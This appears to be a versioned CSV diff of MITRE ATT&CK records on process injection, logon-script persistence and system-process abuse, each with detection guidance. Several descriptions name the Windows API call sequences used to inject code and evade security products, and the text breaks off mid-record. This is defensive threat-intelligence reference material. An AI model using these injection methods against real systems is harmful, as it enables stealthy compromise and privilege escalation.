Storage,"Adversaries may inject malicious code into processes via thread local storage (TLS) callbacks in order to evade process-based defenses as well as possibly elevate privileges. TLS callback injection is a method of executing arbitrary code in the address space of a separate live process. TLS callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. TLS callbacks are normally used by the OS to setup and/or cleanup data used by threads. Manipulating TLS callbacks may be performed by allocating and writing to specific offsets within a process’ memory space using other [Process Injection](https://attack.mitre.org/techniques/T1055) techniques such as [Process Hollowing](https://attack.mitre.org/techniques/T1055/012).(Citation: FireEye TLS Nov 2017) -Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via TLS callback injection may also evade detection from security products since the execution is masked under a legitimate process. ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1055/005', external_id='T1055.005'), ExternalReference(source_name='FireEye TLS Nov 2017', description='Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif Variant Employs Malicious TLS Callback Technique to Achieve Process Injection. Retrieved December 18, 2017.', url='https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html'), ExternalReference(source_name='Elastic Process Injection July 2017', description='Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.', url='https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process')]",attack-pattern--e49ee9d2-0d98-44ef-85e5-5d3100065744,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')]",2020-11-10 18:29:30.984000+00:00,Thread Local Storage,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: OS API Execution', 'Process: Process Access']","['Anti-virus', 'Application control']",,,,"Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017) +Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via TLS callback injection may also evade detection from security products since the execution is masked under a legitimate process. ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1055/005', 'external_id': 'T1055.005'}, {'source_name': 'FireEye TLS Nov 2017', 'description': 'Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif Variant Employs Malicious TLS Callback Technique to Achieve Process Injection. Retrieved December 18, 2017.', 'url': 'https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html'}, {'source_name': 'Elastic Process Injection July 2017', 'description': 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.', 'url': 'https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Modification', 'Process: OS API Execution', 'Process: Process Access']","['Anti-virus', 'Application control']","Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017) -Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",,,,,True,,,,['Windows'],,,,1.0 -2020-01-14 01:29:43.786000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges. APC injection is a method of executing arbitrary code in the address space of a separate live process. +Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",True,,['Windows'],1.1,,,,,,, +attack-pattern,attack-pattern--7c0f17c9-1af6-4628-9cbd-9e45482dd605,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-14T01:29:43.786Z,2021-10-18T12:23:46.476Z,Asynchronous Procedure Call,"Adversaries may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges. APC injection is a method of executing arbitrary code in the address space of a separate live process. APC injection is commonly performed by attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state.(Citation: Microsoft APC) A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point QueueUserAPC can be used to invoke a function (such as LoadLibrayA pointing to a malicious DLL). A variation of APC injection, dubbed ""Early Bird injection"", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table.(Citation: Microsoft Atom Table) -Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via APC injection may also evade detection from security products since the execution is masked under a legitimate process. ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1055/004', external_id='T1055.004'), ExternalReference(source_name='Microsoft APC', description='Microsoft. (n.d.). Asynchronous Procedure Calls. Retrieved December 8, 2017.', url='https://msdn.microsoft.com/library/windows/desktop/ms681951.aspx'), ExternalReference(source_name='CyberBit Early Bird Apr 2018', description='Gavriel, H. & Erbesfeld, B. (2018, April 11). New ‘Early Bird’ Code Injection Technique Discovered. Retrieved May 24, 2018.', url='https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/'), ExternalReference(source_name='ENSIL AtomBombing Oct 2016', description='Liberman, T. (2016, October 27). ATOMBOMBING: BRAND NEW CODE INJECTION FOR WINDOWS. Retrieved December 8, 2017.', url='https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows'), ExternalReference(source_name='Microsoft Atom Table', description='Microsoft. (n.d.). About Atom Tables. Retrieved December 8, 2017.', url='https://msdn.microsoft.com/library/windows/desktop/ms649053.aspx'), ExternalReference(source_name='Elastic Process Injection July 2017', description='Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.', url='https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process')]",attack-pattern--7c0f17c9-1af6-4628-9cbd-9e45482dd605,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')]",2020-11-10 18:29:30.961000+00:00,Asynchronous Procedure Call,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: OS API Execution', 'Process: Process Access']","['Application control', 'Anti-virus']",,,,"Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017) +Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via APC injection may also evade detection from security products since the execution is masked under a legitimate process. ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1055/004', 'external_id': 'T1055.004'}, {'source_name': 'Microsoft APC', 'description': 'Microsoft. (n.d.). Asynchronous Procedure Calls. Retrieved December 8, 2017.', 'url': 'https://msdn.microsoft.com/library/windows/desktop/ms681951.aspx'}, {'source_name': 'CyberBit Early Bird Apr 2018', 'description': 'Gavriel, H. & Erbesfeld, B. (2018, April 11). New ‘Early Bird’ Code Injection Technique Discovered. Retrieved May 24, 2018.', 'url': 'https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/'}, {'source_name': 'ENSIL AtomBombing Oct 2016', 'description': 'Liberman, T. (2016, October 27). ATOMBOMBING: BRAND NEW CODE INJECTION FOR WINDOWS. Retrieved December 8, 2017.', 'url': 'https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows'}, {'source_name': 'Microsoft Atom Table', 'description': 'Microsoft. (n.d.). About Atom Tables. Retrieved December 8, 2017.', 'url': 'https://msdn.microsoft.com/library/windows/desktop/ms649053.aspx'}, {'source_name': 'Elastic Process Injection July 2017', 'description': 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.', 'url': 'https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Modification', 'Process: OS API Execution', 'Process: Process Access']","['Application control', 'Anti-virus']","Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017) -Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",,,,,True,,,,['Windows'],,,,1.0 -2020-01-14 01:28:32.166000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process. +Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",True,,['Windows'],1.1,,,,,,, +attack-pattern,attack-pattern--41d9846c-f6af-4302-a654-24bba2729bc6,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-14T01:28:32.166Z,2021-10-18T12:22:50.800Z,Thread Execution Hijacking,"Adversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process. Thread Execution Hijacking is commonly performed by suspending an existing process then unmapping/hollowing its memory, which can then be replaced with malicious code or the path to a DLL. A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point the process can be suspended then written to, realigned to the injected code, and resumed via SuspendThread , VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Elastic Process Injection July 2017) This is very similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) but targets an existing process rather than creating a process in a suspended state. -Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via Thread Execution Hijacking may also evade detection from security products since the execution is masked under a legitimate process. ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1055/003', external_id='T1055.003'), ExternalReference(source_name='Elastic Process Injection July 2017', description='Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.', url='https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process')]",attack-pattern--41d9846c-f6af-4302-a654-24bba2729bc6,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')]",2020-11-10 18:29:30.941000+00:00,Thread Execution Hijacking,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: OS API Execution', 'Process: Process Access']","['Application control', 'Anti-virus']",,,,"Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017) +Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via Thread Execution Hijacking may also evade detection from security products since the execution is masked under a legitimate process. ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1055/003', 'external_id': 'T1055.003'}, {'source_name': 'Elastic Process Injection July 2017', 'description': 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.', 'url': 'https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Modification', 'Process: OS API Execution', 'Process: Process Access']","['Application control', 'Anti-virus']","Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017) -Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",,,,,True,,,['User'],['Windows'],,,,1.0 -2020-01-14 01:27:31.344000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process. +Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",True,['User'],['Windows'],1.1,,,,,,, +attack-pattern,attack-pattern--806a49c4-970d-43f9-9acc-ac0ee11e6662,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-14T01:27:31.344Z,2021-10-18T12:21:11.178Z,Portable Executable Injection,"Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process. PE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references. (Citation: Elastic Process Injection July 2017) -Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process. ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1055/002', external_id='T1055.002'), ExternalReference(source_name='Elastic Process Injection July 2017', description='Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.', url='https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process')]",attack-pattern--806a49c4-970d-43f9-9acc-ac0ee11e6662,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')]",2020-11-10 18:29:30.882000+00:00,Portable Executable Injection,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: OS API Execution', 'Process: Process Access']","['Anti-virus', 'Application control']",,,,"Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017) +Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process. ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1055/002', 'external_id': 'T1055.002'}, {'source_name': 'Elastic Process Injection July 2017', 'description': 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.', 'url': 'https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Modification', 'Process: OS API Execution', 'Process: Process Access']","['Anti-virus', 'Application control']","Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017) -Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",,,,,True,,,['User'],['Windows'],,,,1.0 -2020-01-14 01:26:08.145000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process. +Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",True,['User'],['Windows'],1.1,,,,,,, +attack-pattern,attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-14T01:26:08.145Z,2021-10-18T12:20:00.382Z,Dynamic-link Library Injection,"Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process. DLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread (which calls the LoadLibrary API responsible for loading the DLL). (Citation: Elastic Process Injection July 2017) Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of LoadLibrary).(Citation: Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July 2017) -Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process. ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1055/001', external_id='T1055.001'), ExternalReference(source_name='Elastic Process Injection July 2017', description='Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.', url='https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process'), ExternalReference(source_name='Elastic HuntingNMemory June 2017', description='Desimone, J. (2017, June 13). Hunting in Memory. Retrieved December 7, 2017.', url='https://www.endgame.com/blog/technical-blog/hunting-memory')]",attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')]",2020-11-10 18:29:30.879000+00:00,Dynamic-link Library Injection,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Module: Module Load', 'Process: OS API Execution', 'Process: Process Access']","['Application control', 'Anti-virus']",,,,"Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017) +Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process. ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1055/001', 'external_id': 'T1055.001'}, {'source_name': 'Elastic Process Injection July 2017', 'description': 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.', 'url': 'https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process'}, {'source_name': 'Elastic HuntingNMemory June 2017', 'description': 'Desimone, J. (2017, June 13). Hunting in Memory. Retrieved December 7, 2017.', 'url': 'https://www.endgame.com/blog/technical-blog/hunting-memory'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Modification', 'Module: Module Load', 'Process: OS API Execution', 'Process: Process Access']","['Application control', 'Anti-virus']","Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017) Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process. -Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",,,,,True,,,['User'],['Windows'],,,,1.0 -2020-01-10 18:01:03.666000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use network logon scripts automatically executed at logon initialization to establish persistence. Network logon scripts can be assigned using Active Directory or Group Policy Objects.(Citation: Petri Logon Script AD) These logon scripts run with the privileges of the user they are assigned to. Depending on the systems within the network, initializing one of these scripts could apply to more than one or potentially all systems. +Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",True,['User'],['Windows'],1.1,,,,,,, +attack-pattern,attack-pattern--c63a348e-ffc2-486a-b9d9-d7f11ec54d99,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-10T18:01:03.666Z,2020-03-24T23:45:25.625Z,Network Logon Script,"Adversaries may use network logon scripts automatically executed at logon initialization to establish persistence. Network logon scripts can be assigned using Active Directory or Group Policy Objects.(Citation: Petri Logon Script AD) These logon scripts run with the privileges of the user they are assigned to. Depending on the systems within the network, initializing one of these scripts could apply to more than one or potentially all systems. -Adversaries may use these scripts to maintain persistence on a network. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1037/003', external_id='T1037.003'), ExternalReference(source_name='Petri Logon Script AD', description='Daniel Petri. (2009, January 8). Setting up a Logon Script through Active Directory Users and Computers in Windows Server 2008. Retrieved November 15, 2019.', url='https://www.petri.com/setting-up-logon-script-through-active-directory-users-computers-windows-server-2008')]",attack-pattern--c63a348e-ffc2-486a-b9d9-d7f11ec54d99,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')]",2020-03-24 23:45:25.625000+00:00,Network Logon Script,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['File: File Creation', 'File: File Modification', 'Process: Process Creation', 'Command: Command Execution', 'Active Directory: Active Directory Object Modification']",,,,,Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.,,,,,True,,,,['Windows'],,,,1.0 -2020-01-10 16:03:18.865000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. When operating systems boot up, they can start processes that perform background system functions. On Windows and Linux, these system processes are referred to as services. (Citation: TechNet Services) On macOS, launchd processes known as [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) are run to finish system initialization and load user specific parameters.(Citation: AppleDocs Launch Agent Daemons) +Adversaries may use these scripts to maintain persistence on a network. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1037/003', 'external_id': 'T1037.003'}, {'source_name': 'Petri Logon Script AD', 'description': 'Daniel Petri. (2009, January 8). Setting up a Logon Script through Active Directory Users and Computers in Windows Server 2008. Retrieved November 15, 2019.', 'url': 'https://www.petri.com/setting-up-logon-script-through-active-directory-users-computers-windows-server-2008'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Creation', 'File: File Modification', 'Process: Process Creation', 'Command: Command Execution', 'Active Directory: Active Directory Object Modification']",,Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.,True,,['Windows'],1.0,,,,,,, +attack-pattern,attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-10T16:03:18.865Z,2021-11-03T20:11:52.175Z,Create or Modify System Process,"Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. When operating systems boot up, they can start processes that perform background system functions. On Windows and Linux, these system processes are referred to as services. (Citation: TechNet Services) On macOS, launchd processes known as [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) are run to finish system initialization and load user specific parameters.(Citation: AppleDocs Launch Agent Daemons) Adversaries may install new services, daemons, or agents that can be configured to execute at startup or a repeatable interval in order to establish persistence. Similarly, adversaries may modify existing services, daemons, or agents to achieve the same effect. -Services, daemons, or agents may be created with administrator privileges but executed under root/SYSTEM privileges. Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges. (Citation: OSX Malware Detection). ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1543', external_id='T1543'), ExternalReference(source_name='TechNet Services', description='Microsoft. (n.d.). Services. Retrieved June 7, 2016.', url='https://technet.microsoft.com/en-us/library/cc772408.aspx'), ExternalReference(source_name='AppleDocs Launch Agent Daemons', description='Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.', url='https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html'), ExternalReference(source_name='OSX Malware Detection', description=""Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017."", url='https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf')]",attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')]",2020-10-09 13:46:29.922000+00:00,Create or Modify System Process,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Service: Service Creation', 'Service: Service Modification', 'Process: Process Creation', 'Process: OS API Execution', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification', 'File: File Creation', 'File: File Modification']",,,,,"Monitor for changes to system processes that do not correlate with known software, patch cycles, etc., including by comparing results against a trusted system baseline. New, benign system processes may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. +Services, daemons, or agents may be created with administrator privileges but executed under root/SYSTEM privileges. Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges. (Citation: OSX Malware Detection). ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1543', 'external_id': 'T1543'}, {'source_name': 'TechNet Services', 'description': 'Microsoft. (n.d.). Services. Retrieved June 